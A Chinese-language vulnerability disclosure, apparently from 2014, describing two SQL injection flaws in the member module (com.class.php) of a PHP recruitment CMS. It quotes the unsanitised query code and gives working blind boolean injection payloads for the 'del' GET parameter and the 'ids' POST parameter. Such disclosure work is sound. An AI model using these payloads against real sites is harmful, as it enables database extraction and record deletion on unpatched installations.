### 简要描述:
20140811
### 详细说明:
漏洞一:
/member/model/com.class.php中
```
function job(){
。。。
570行 if($_GET['del'] || is_array($_POST['checkboxid']))
{
if(is_array($_POST['checkboxid'])){
$layer_type=1;
$delid=$this->pylode(",",$_POST['checkboxid']);
}else if($_GET['del']){
$layer_type=0;
$delid=$_GET['del'];//GET的del没有过滤,传给delid
}
$rows=$this->obj->DB_select_all("company_job","`uid`='".$this->uid."' and `id` in (".$delid.")","`state`");
$nid=$this->obj->DB_delete_all("company_job","`uid`='".$this->uid."' and `id` in (".$delid.")"," ");
echo $nid;
$this->obj->DB_delete_all("company_job_link","`uid`='".$this->uid."' and `jobid` in (".$delid.")"," ");//上面三行都将delid直接带入
。。。
}
function job_action(){
$this->job();//调用job函数
。。。
}
```
漏洞二:
与漏洞一类似,/member/model/com.class.php中
```
function delshow_action(){
$company_show=$this->obj->DB_select_all("company_show","`id` in (".$_POST['ids'].") and `uid`='".$this->uid."'","`picurl`");
if(is_array($company_show)&&$company_show){
foreach($company_show as $val){
$this->obj->unlink_pic(".".$val['picurl']);
}
$this->obj->DB_delete_all("company_show","`id` in (".$_POST['ids'].") and `uid`='".$this->uid."'","");
}
return true;
}
```
POST的ids直接放入sql语句中
### 漏洞证明:
证明一:
程序有点问题,因为只要mysql_query执行delete操作只要不出错就返回true,$nid一直返回1,所以回显一直一样,我们就靠招聘信息是否删除成功来判断。
当http://localhost/member/index.php?m=com&c=job&del=if(substring(user(),1,1)=char(115),3,798)) %23 //这里3为我们的招聘信息id
我们的user()是root,ascii码为114,这里为115,所以信息仍存在;
[<img src="https://images.seebug.org/upload/201408/161935409d2cf985ffbe55a65769107cf1546e7a.png" alt="QQ截图20140816193351.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/161935409d2cf985ffbe55a65769107cf1546e7a.png)
http://localhost/member/index.php?m=com&c=job&del=if(substring(user(),1,1)=char(114),3,798)) %23
[<img src="https://images.seebug.org/upload/201408/16193606e953e5ee94aaf117763f677c35064869.png" alt="QQ截图20140816193440.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/16193606e953e5ee94aaf117763f677c35064869.png)
[<img src="https://images.seebug.org/upload/201408/16193556300f56eabcf545164929f16330abd557.png" alt="QQ截图20140816193405.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/16193556300f56eabcf545164929f16330abd557.png)
证明二:
同样是没有回显,这里靠企业环境展示的删除与否判断:
先得到一个展示的id:
在删除的地方,审查元素:
[<img src="https://images.seebug.org/upload/201408/1619424632564e04f7c4be56013c6d7f52792bb2.png" alt="QQ截图20140816194146.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/1619424632564e04f7c4be56013c6d7f52792bb2.png)
,这里是3
http://localhost/member/index.php?c=delshow
POST:ids=if(substring(user(),1,1)=char(115),3,798) //3就是我们得到的id
这里还是因为155不是r的ascii码,所以删除失败,就不上图了。
http://localhost/member/index.php?c=delshow
POST:ids=if(substring(user(),1,1)=char(114),3,798)
[<img src="https://images.seebug.org/upload/201408/1619451261730ea346d75f2a2fb69dcde035063e.png" alt="QQ截图20140816194417.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/1619451261730ea346d75f2a2fb69dcde035063e.png)
[<img src="https://images.seebug.org/upload/201408/16194523b7701f4bf528119049c41ddf1e4067e0.png" alt="QQ截图20140816194433.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/16194523b7701f4bf528119049c41ddf1e4067e0.png)
[<img src="https://images.seebug.org/upload/201408/16194628484c6a87266dc2bd84043fe291bf6b10.png" alt="QQ截图20140816194534.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/16194628484c6a87266dc2bd84043fe291bf6b10.png)
因为360webscan的存在,好像有点鸡肋。
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